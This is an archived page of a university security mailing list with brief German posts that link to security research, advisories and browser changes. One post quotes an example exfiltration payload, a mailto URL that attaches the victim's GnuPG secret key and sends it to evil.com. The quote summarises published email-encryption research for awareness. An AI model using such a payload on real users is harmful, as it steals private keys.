August 2020 - rwth-security - lists.rwth-aachen.de

SELinux changes for KVM-separated (Kata) containers
by Bernd Kohler 18 Aug '20

18 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "SELinux changes for KVM-separated (Kata) containers" VG Bernd [0] https://www.redhat.com/sysadmin/selinux-kata-containers -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

Where Things Roam - Uncovering Cellular IoT/M2M Connectivity
by Bernd Kohler 18 Aug '20

18 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Where Things Roam" VG Bernd [0] https://arxiv.org/pdf/2007.13708.pdf -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

Mailto: Me Your Secrets - On Bugs and Features in Email End-to-End Encryption
by Bernd Kohler 18 Aug '20

18 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Mailto: Me Your Secrets" --> es geht um ein refreshmeta-Tag in einer HTML-Datei mit folgender Ergänzung: "URL=mailto:sid@evil.com?attach=~/,gnupg/secret.pgp" VG Bernd [0] https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

MITRE - Active Defense Matrix
by Bernd Kohler 14 Aug '20

14 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Active Defense Matrix" VG Bernd [0] https://shield.mitre.org/matrix/ -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

Joint NSA and FBI Cybersecurity Advisory Discloses Russian Malware Drovorub
by Bernd Kohler 14 Aug '20

14 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Joint NSA and FBI Cybersecurity Advisory Discloses Russian Malware Drovorub" --> den eigentlichen Bericht gibt es auf [1] VG Bernd [0] https://us-cert.cisa.gov/ncas/current-activity/2020/08/13/joint-nsa-and-fbi… [1] https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSI… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

New Attack Lets Hackers Decrypt VoLTE (Voice over LTE) Encryption to Spy on Phone Calls
by Bernd Kohler 13 Aug '20

13 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "New Attack Lets Hackers Decrypt VoLTE Encryption to Spy on Phone Calls" --> research paper auf [1] VG Bernd [0] https://thehackernews.com/2020/08/a-team-of-academic-researcherswho.html [1] https://revolte-attack.net/media/revolte_camera_ready.pdf -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 1

Introduction to Malware Analysis and Reverse Engineering
by Bernd Kohler 13 Aug '20

13 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Introduction to Malware Analysis and Reverse Engineering" VG Bernd [0] https://class.malware.re/ -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

1. IT-Grundschutz-Tag 2020
by Bernd Kohler 13 Aug '20

13 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "1. IT-Grundschutz-Tag 2020" VG Bernd [0] https://www.bsi.bund.de/SharedDocs/Termine/DE/2020/1_IT_Grundschutztag_2020… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

Chinese Researchers Show How They Remotely Hacked a Mercedes-Benz
by Bernd Kohler 12 Aug '20

12 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Chinese Researchers Show How They Remotely Hacked a Mercedes-Benz" --> Research Paper gibt es auf [1] VG Bernd [0] https://www.securityweek.com/chinese-researchers-show-how-they-remotely-hac… [1] https://www.blackhat.com/us-20/briefings/schedule/#security-research-on-mer… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0

Chrome/Chromium: SameSite-by-default and SameSite=None-requires-Secure Cookies by default
by Bernd Kohler 12 Aug '20

12 Aug '20

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Aug 11, 2020: The target rollout population has been increased to 100% of users on Chrome Stable versions 80 and above, and the actual proportion of users with the new behavior enabled is now ramping up to 100% gradually. Users will receive the new behavior when they restart Chrome." (siehe dazu auch [1]) Auf [2] gibt es Informationen zu "Cookie Legacy SameSite Policies" "The policies LegacySameSiteCookieBehaviorEnabled and LegacySameSiteCookieBehaviorEnabledForDomainList allow you to revert the SameSite behavior of cookies (possibly on specific domains) to legacy behavior." VG Bernd [0] https://www.chromium.org/updates/same-site?pli=1 [1] https://blog.chromium.org/2020/05/resuming-samesite-cookie-changes-in-july.… [2] https://www.chromium.org/administrators/policy-list-3/cookie-legacy-samesit… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de https://www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

1 0